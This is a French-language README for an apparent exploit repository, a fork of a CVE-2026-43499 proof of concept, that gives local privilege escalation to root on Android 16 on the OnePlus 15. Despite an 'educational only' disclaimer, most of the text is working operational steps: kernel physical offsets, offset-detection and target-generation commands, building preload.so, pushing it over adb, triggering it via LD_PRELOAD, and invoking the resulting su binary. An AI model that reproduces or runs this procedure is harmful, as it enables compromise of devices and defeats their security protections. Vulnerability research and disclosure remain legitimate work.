
Preuve de concept à visée éducative pour l’élévation de privilèges locale sous Android 16 sur OnePlus 15, avec détection des offsets du noyau, génération de cibles et construction de l’exploit basée sur LD_PRELOAD.
AVERTISSEMENT : Ce dépôt est fourni uniquement à des fins éducatives et de recherche. Aucun binaire pré-construit ni version n'est distribué. Vous devez tout compiler à partir des sources.
Escalade de privilèges locale Android 16 pour OnePlus 15.
Fork de x-spy/CVE-2026-43499-popsicle avec un correctif d'alignement kallsyms et un profil vérifié pour OnePlus 15.
Le profil contient deux adresses physiques qui doivent être confirmées depuis un appareil rooté exécutant le même firmware :
{
"p0_phys_offset": "0x80000000",
"p0_kernel_phys_load": "0xc7800000"
}
Auto-détection avec un appareil rooté :
python3 detect_offset.py
Nécessite Python 3 et llvm-objdump :
python3 generate_target.py \
--boot boot.img \
--profile profile_oneplus15.json \
-o source/src/target.h
make -C source clean preload
Si le NDK n'est pas détecté automatiquement :
NDK_ROOT=/path/to/android-ndk make -C source clean preload
Sortie : source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell chmod 0644 /data/local/tmp/preload.so
adb shell LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true
adb shell /data/local/tmp/su -c id